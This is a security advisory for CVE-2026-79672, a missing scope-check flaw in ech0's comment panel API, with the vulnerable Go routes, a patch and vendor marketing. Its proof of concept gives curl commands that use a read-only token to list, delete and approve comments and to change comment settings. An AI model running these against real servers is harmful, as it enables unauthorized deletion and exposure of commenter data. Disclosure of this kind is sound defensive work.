CVE-2026-79672 — ech0
CVE-2026-79672 is a CWE-862 vulnerability in github.com/lin-snow/ech0. A fix is available for github.com/lin-snow/ech0 — see the affected versions and patch details below.
Ech0 before 4.4.3 Authentication Bypass via Comment Panel
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-79672.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
github.com/lin-snow/ech0Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
All 9 comment panel admin endpoints (/api/panel/comments/*) are missing RequireScopes() middleware, while every other admin endpoint in the application enforces scope-based authorization on access tokens. An admin-issued access token scoped to minimal permissions (e.g., echo:read only) can perform full comment moderation operations including listing, approving, rejecting, deleting comments, and modifying comment system settings.
Details
The access token scope enforcement system works as follows: JWTAuthMiddleware (internal/middleware/auth.go) parses any valid JWT and injects a viewer into the request context. The RequireScopes() middleware (internal/middleware/scope.go:14) then checks whether the token is an access token and, if so, validates that it carries the required scopes. Session tokens are passed through without scope checks (by design — sessions represent full user authority).
Every admin route group applies RequireScopes() per-handler:
internal/router/echo.go— usesRequireScopes(ScopeEchoWrite)/RequireScopes(ScopeEchoRead)internal/router/file.go— usesRequireScopes(ScopeFileRead)/RequireScopes(ScopeFileWrite)internal/router/user.go— usesRequireScopes(ScopeAdminUser)/RequireScopes(ScopeProfileRead)internal/router/setting.go— usesRequireScopes(ScopeAdminSettings)/RequireScopes(ScopeAdminToken)
However, internal/router/comment.go:28-36 registers all 9 panel endpoints directly on AuthRouterGroup without any RequireScopes() call:
// internal/router/comment.go:28-36
appRouterGroup.AuthRouterGroup.GET("/panel/comments", h.CommentHandler.ListPanelComments())
appRouterGroup.AuthRouterGroup.GET("/panel/comments/:id", h.CommentHandler.GetCommentByID())
appRouterGroup.AuthRouterGroup.PATCH("/panel/comments/:id/status", h.CommentHandler.UpdateCommentStatus())
appRouterGroup.AuthRouterGroup.PATCH("/panel/comments/:id/hot", h.CommentHandler.UpdateCommentHot())
appRouterGroup.AuthRouterGroup.DELETE("/panel/comments/:id", h.CommentHandler.DeleteComment())
appRouterGroup.AuthRouterGroup.POST("/panel/comments/batch", h.CommentHandler.BatchAction())
appRouterGroup.AuthRouterGroup.GET("/panel/comments/settings", h.CommentHandler.GetCommentSetting())
appRouterGroup.AuthRouterGroup.PUT("/panel/comments/settings", h.CommentHandler.UpdateCommentSetting())
appRouterGroup.AuthRouterGroup.POST("/panel/comments/settings/test-email", h.CommentHandler.TestCommentEmail())
The service layer's requireAdmin() (internal/service/comment/comment.go:719-732) only validates the user's database role (IsAdmin/IsOwner), not the token's scopes:
func (s *CommentService) requireAdmin(ctx context.Context) error {
v := viewer.MustFromContext(ctx)
if v == nil || strings.TrimSpace(v.UserID()) == "" {
return commonModel.NewBizError(...)
}
user, err := s.commonService.CommonGetUserByUserId(ctx, v.UserID())
if err != nil { return err }
if !user.IsAdmin && !user.IsOwner {
return commonModel.NewBizError(...)
}
return nil
}
The scopes comment:read, comment:write, and comment:moderate are defined in internal/model/auth/scope.go:11-13 and registered as valid scopes, but are never referenced in any RequireScopes() middleware call anywhere in the codebase.
Execution flow: Request with access token (scoped to echo:read only) → JWTAuthMiddleware extracts user ID, sets viewer → No RequireScopes middleware → Handler calls service → requireAdmin() checks user.IsAdmin (true for admin user) → Operation succeeds.
PoC
# 1. As admin, create an access token scoped ONLY to echo:read
curl -X POST https://target/api/settings/access-tokens \
-H 'Authorization: Bearer <admin-session-token>' \
-H 'Content-Type: application/json' \
-d '{"name":"readonly","scopes":["echo:read"],"audience":["public-client"],"expiry_days":30}'
# Save the returned token as $TOKEN
# 2. Verify the token CANNOT access other admin endpoints (scoped correctly):
curl https://target/api/settings \
-H "Authorization: Bearer $TOKEN"
# Expected: 403 Forbidden (scope check blocks access)
# 3. Use the same limited token to list ALL comments (including pending/rejected):
curl https://target/api/panel/comments \
-H "Authorization: Bearer $TOKEN"
# Expected: 200 OK with full comment list (bypasses scope enforcement)
# 4. Delete a comment:
curl -X DELETE https://target/api/panel/comments/<comment-id> \
-H "Authorization: Bearer $TOKEN"
# Expected: 200 OK (should require comment:moderate scope)
# 5. Approve/reject comments:
curl -X PATCH https://target/api/panel/comments/<comment-id>/status \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"status":"approved"}'
# Expected: 200 OK (should require comment:moderate scope)
# 6. Read comment system settings:
curl https://target/api/panel/comments/settings \
-H "Authorization: Bearer $TOKEN"
# Expected: 200 OK (may expose SMTP configuration)
# 7. Disable the comment system entirely:
curl -X PUT https://target/api/panel/comments/settings \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"enable_comment":false}'
# Expected: 200 OK (should require admin:settings scope)
Impact
- Principle of least privilege violation: Access tokens designed to limit admin capabilities do not restrict comment panel access. An integration token intended only for reading echoes gains full comment moderation authority.
- Unauthorized comment moderation: An attacker who compromises a limited-scope access token (e.g., a CI/CD token scoped to
echo:read) can approve, reject, delete, and batch-modify all comments. - Data exposure: The panel comment listing endpoint returns commenter PII (email addresses, IP hashes, user agents) that should be restricted to tokens with
comment:readscope. - Settings modification: Comment system settings (including potentially SMTP configuration) can be read and modified, and test emails can be triggered, which could leak mail server credentials.
- Scope: The attack requires an admin-issued access token, which limits the attack surface (PR:H). However, access tokens are specifically designed for limited-privilege integrations, and this vulnerability negates those limits for the entire comment subsystem.
Recommended Fix
Add RequireScopes() middleware to all comment panel routes in internal/router/comment.go:
func setupCommentRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {
// ... captcha and public routes unchanged ...
// Admin Panel — enforce scopes on access tokens
appRouterGroup.AuthRouterGroup.GET("/panel/comments",
middleware.RequireScopes(authModel.ScopeCommentRead),
h.CommentHandler.ListPanelComments())
appRouterGroup.AuthRouterGroup.GET("/panel/comments/:id",
middleware.RequireScopes(authModel.ScopeCommentRead),
h.CommentHandler.GetCommentByID())
appRouterGroup.AuthRouterGroup.PATCH("/panel/comments/:id/status",
middleware.RequireScopes(authModel.ScopeCommentMod),
h.CommentHandler.UpdateCommentStatus())
appRouterGroup.AuthRouterGroup.PATCH("/panel/comments/:id/hot",
middleware.RequireScopes(authModel.ScopeCommentMod),
h.CommentHandler.UpdateCommentHot())
appRouterGroup.AuthRouterGroup.DELETE("/panel/comments/:id",
middleware.RequireScopes(authModel.ScopeCommentMod),
h.CommentHandler.DeleteComment())
appRouterGroup.AuthRouterGroup.POST("/panel/comments/batch",
middleware.RequireScopes(authModel.ScopeCommentMod),
h.CommentHandler.BatchAction())
appRouterGroup.AuthRouterGroup.GET("/panel/comments/settings",
middleware.RequireScopes(authModel.ScopeAdminSettings),
h.CommentHandler.GetCommentSetting())
appRouterGroup.AuthRouterGroup.PUT("/panel/comments/settings",
middleware.RequireScopes(authModel.ScopeAdminSettings),
h.CommentHandler.UpdateCommentSetting())
appRouterGroup.AuthRouterGroup.POST("/panel/comments/settings/test-email",
middleware.RequireScopes(authModel.ScopeAdminSettings),
h.CommentHandler.TestCommentEmail())
}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/lin-snow/ech0 | all versions | 4.4.3go get github.com/lin-snow/ech0@v4.4.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/lin-snow/ech0, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/lin-snow/ech0 to 4.4.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-79672 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-79672 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-79672. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-79672 in your dependencies?
O3 Security finds CVE-2026-79672 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.